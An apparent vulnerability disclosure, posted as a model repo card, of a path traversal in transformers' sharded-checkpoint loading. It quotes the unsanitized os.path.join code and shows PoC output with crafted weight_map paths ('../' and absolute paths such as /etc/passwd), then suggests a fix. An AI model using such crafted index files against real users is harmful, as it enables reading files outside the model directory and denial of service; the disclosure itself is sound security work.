YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
CWE-22 Path Traversal in transformers Sharded-Checkpoint Loading
Attacker-controlled weight_map in model.safetensors.index.json makes
from_pretrained read weight shards from OUTSIDE the model directory
(arbitrary absolute / relative path open) with no trust_remote_code.
Target
| Package | transformers (Hugging Face) |
| Version tested | 5.14.1 (PyPI) |
| Supporting deps | torch 2.13.0+cu130, safetensors 0.8.0 |
| Entry point | AutoModel.from_pretrained(local_dir) (documented, unprivileged, NO trust_remote_code) |
| Vulnerable file | transformers/utils/hub.py -> get_checkpoint_shard_files() |
| Weakness | CWE-22 (Improper Limitation of a Pathname to a Restricted Directory / Path Traversal) |
Root cause
When from_pretrained loads a sharded checkpoint from a local directory it
calls get_checkpoint_shard_files(). That function reads the shard filenames
verbatim from the attacker-supplied index JSON and, for a local directory, joins
them onto the model path with no sanitization whatsoever β no
os.path.basename(), no realpath/commonpath containment check, no rejection
of .. segments or absolute paths.
Exact vulnerable code, transformers/utils/hub.py (v5.14.1):
# line 882 β shard filenames taken VERBATIM from attacker-controlled index JSON
shard_filenames = sorted(set(index["weight_map"].values()))
sharded_metadata = index["metadata"]
sharded_metadata["all_checkpoint_keys"] = list(index["weight_map"].keys())
sharded_metadata["weight_map"] = index["weight_map"].copy()
# First, let's deal with local folder.
if os.path.isdir(pretrained_model_name_or_path): # line 888
shard_filenames = [os.path.join(pretrained_model_name_or_path, subfolder, f)
for f in shard_filenames] # line 889
return shard_filenames, sharded_metadata # line 890
os.path.join treats an absolute value (e.g. /etc/passwd) as replacing
the base, and treats a ../.. relative value as escaping the model
directory. The resolved paths are returned as checkpoint_files
(modeling_utils.py _get_resolved_checkpoint_files, reached from
from_pretrained) and passed directly to the weight-loading sink
(safetensors.safe_open / load_state_dict), which opens and reads whatever
path the attacker named.
For a *.bin sharded index the very same primitive selects a pickle file
from an arbitrary path for torch.load.
Impact
- Model-directory trust-boundary break β a distributed "model" (config + index only) reads its actual weights from anywhere on the victim's filesystem.
- Denial of service β point a shard at a blocking FIFO,
/dev/zero, or a huge/sparse file to hang the loader or exhaust memory duringfrom_pretrained. - Arbitrary out-of-directory file open during load β the reachable primitive
is "open + read attacker-named absolute/relative path"; combined with the
*.binpath it selects an arbitrary pickle fortorch.load.
No trust_remote_code, no network, no privileged API β just the documented
AutoModel.from_pretrained() on an attacker-supplied local directory (the exact
shape of a downloaded / shared HF model).
Proof of Concept
Both PoCs live in this repo and were run against the real PyPI packages above.
poc_end2end.pyβ fullAutoModel.from_pretrained()on an attacker directory whose ONLY weight copy lives OUTSIDE the model dir; proves the loaded model's tensor came from the outside file via a sentinel value, with a negative control.poc.pyβ component-level: resolvesweight_mapvalues through the realget_checkpoint_shard_files()and shows the returned paths are OUTSIDE the model dir and are actually opened/read bysafetensors.safe_open(the sink), with a negative control.
Captured evidence β poc_end2end.py (verbatim)
[*] model dir contents (attacker-supplied): ['config.json', 'model.safetensors.index.json']
[*] weight shard exists ONLY outside model dir: /tmp/hf_e2e_mk_nu7cs/OUTSIDE_the_model_dir/real_weights.safetensors
[*] index weight_map sample: ../OUTSIDE_the_model_dir/real_weights.safetensors
[*] loading via AutoModel.from_pretrained(model_dir) (no trust_remote_code) ...
Loading weights: 100%|ββββββββββ| 23/23 [00:00<00:00, 4913.61it/s]
[+] LOAD SUCCEEDED. sentinel value in loaded model = 12345.0
[+] traversal confirmed: the ONLY source of this weight was /tmp/hf_e2e_mk_nu7cs/OUTSIDE_the_model_dir/real_weights.safetensors
--- NEGATIVE CONTROL: same index but a normal in-dir filename ---
Loading weights: 100%|ββββββββββ| 23/23 [00:00<00:00, 4942.06it/s]
[ctrl] normal in-dir filename loads fine and does NOT depend on any outside file. OK
RESULT: CWE-22 path traversal in transformers sharded-checkpoint loading CONFIRMED.
Captured evidence β poc.py (component + absolute-path, verbatim)
[attack] index.json weight_map: {"leaked_tensor": "../outside_secret/secret.safetensors", "leaked_tensor_abs": "/tmp/hf_traversal_ignqhumz/outside_secret/secret.safetensors"}
[resolved shard paths returned to the weight loader]:
raw=/tmp/hf_traversal_ignqhumz/attacker_model/../outside_secret/secret.safetensors
-> realpath=/tmp/hf_traversal_ignqhumz/outside_secret/secret.safetensors
-> INSIDE model dir? False
raw=/tmp/hf_traversal_ignqhumz/outside_secret/secret.safetensors
-> realpath=/tmp/hf_traversal_ignqhumz/outside_secret/secret.safetensors
-> INSIDE model dir? False
[sink] safetensors.safe_open on the traversed path (what modeling_utils does):
opened /tmp/hf_traversal_ignqhumz/attacker_model/../outside_secret/secret.safetensors
read tensor leaked_tensor = [0.0, 1.0, 2.0, 3.0] <-- content from OUTSIDE model dir
opened /tmp/hf_traversal_ignqhumz/outside_secret/secret.safetensors
read tensor leaked_tensor = [0.0, 1.0, 2.0, 3.0] <-- content from OUTSIDE model dir
[negative control] normal filename 'model-00001.safetensors':
raw=/tmp/hf_traversal_ignqhumz/attacker_model/model-00001.safetensors -> INSIDE model dir? True
Captured evidence β absolute-path /etc/passwd primitive (verbatim)
resolved shard path: ['/etc/passwd']
safe_open on /etc/passwd -> SafetensorError: Error while deserializing header: header too large
The file was opened and its bytes read; it merely fails later at
safetensors header parsing because /etc/passwd is not a valid safetensors
container. This demonstrates the arbitrary-absolute-path open primitive.
Suggested fix
In get_checkpoint_shard_files(), before joining, reject any shard filename that
is absolute or contains .., and/or reduce each to os.path.basename(f), and/or
assert os.path.commonpath([realpath(model_dir), realpath(joined)]) == realpath(model_dir).
Dedup / prior-art note
- This is distinct from GGUF-parsing DoS issues in
transformers(a separate weakness class in the GGUF loader, not the safetensors/bin sharded index path). - The primitive here is the local-directory branch (
os.path.isdir(...), line 888-890) ofget_checkpoint_shard_files, driven byindex["weight_map"]values, with no path sanitization. As of v5.14.1 this branch performs a rawos.path.joinwith no../absolute-path rejection and no containment check. - No
trust_remote_codeis involved; this is not the known "remote code" model loading class.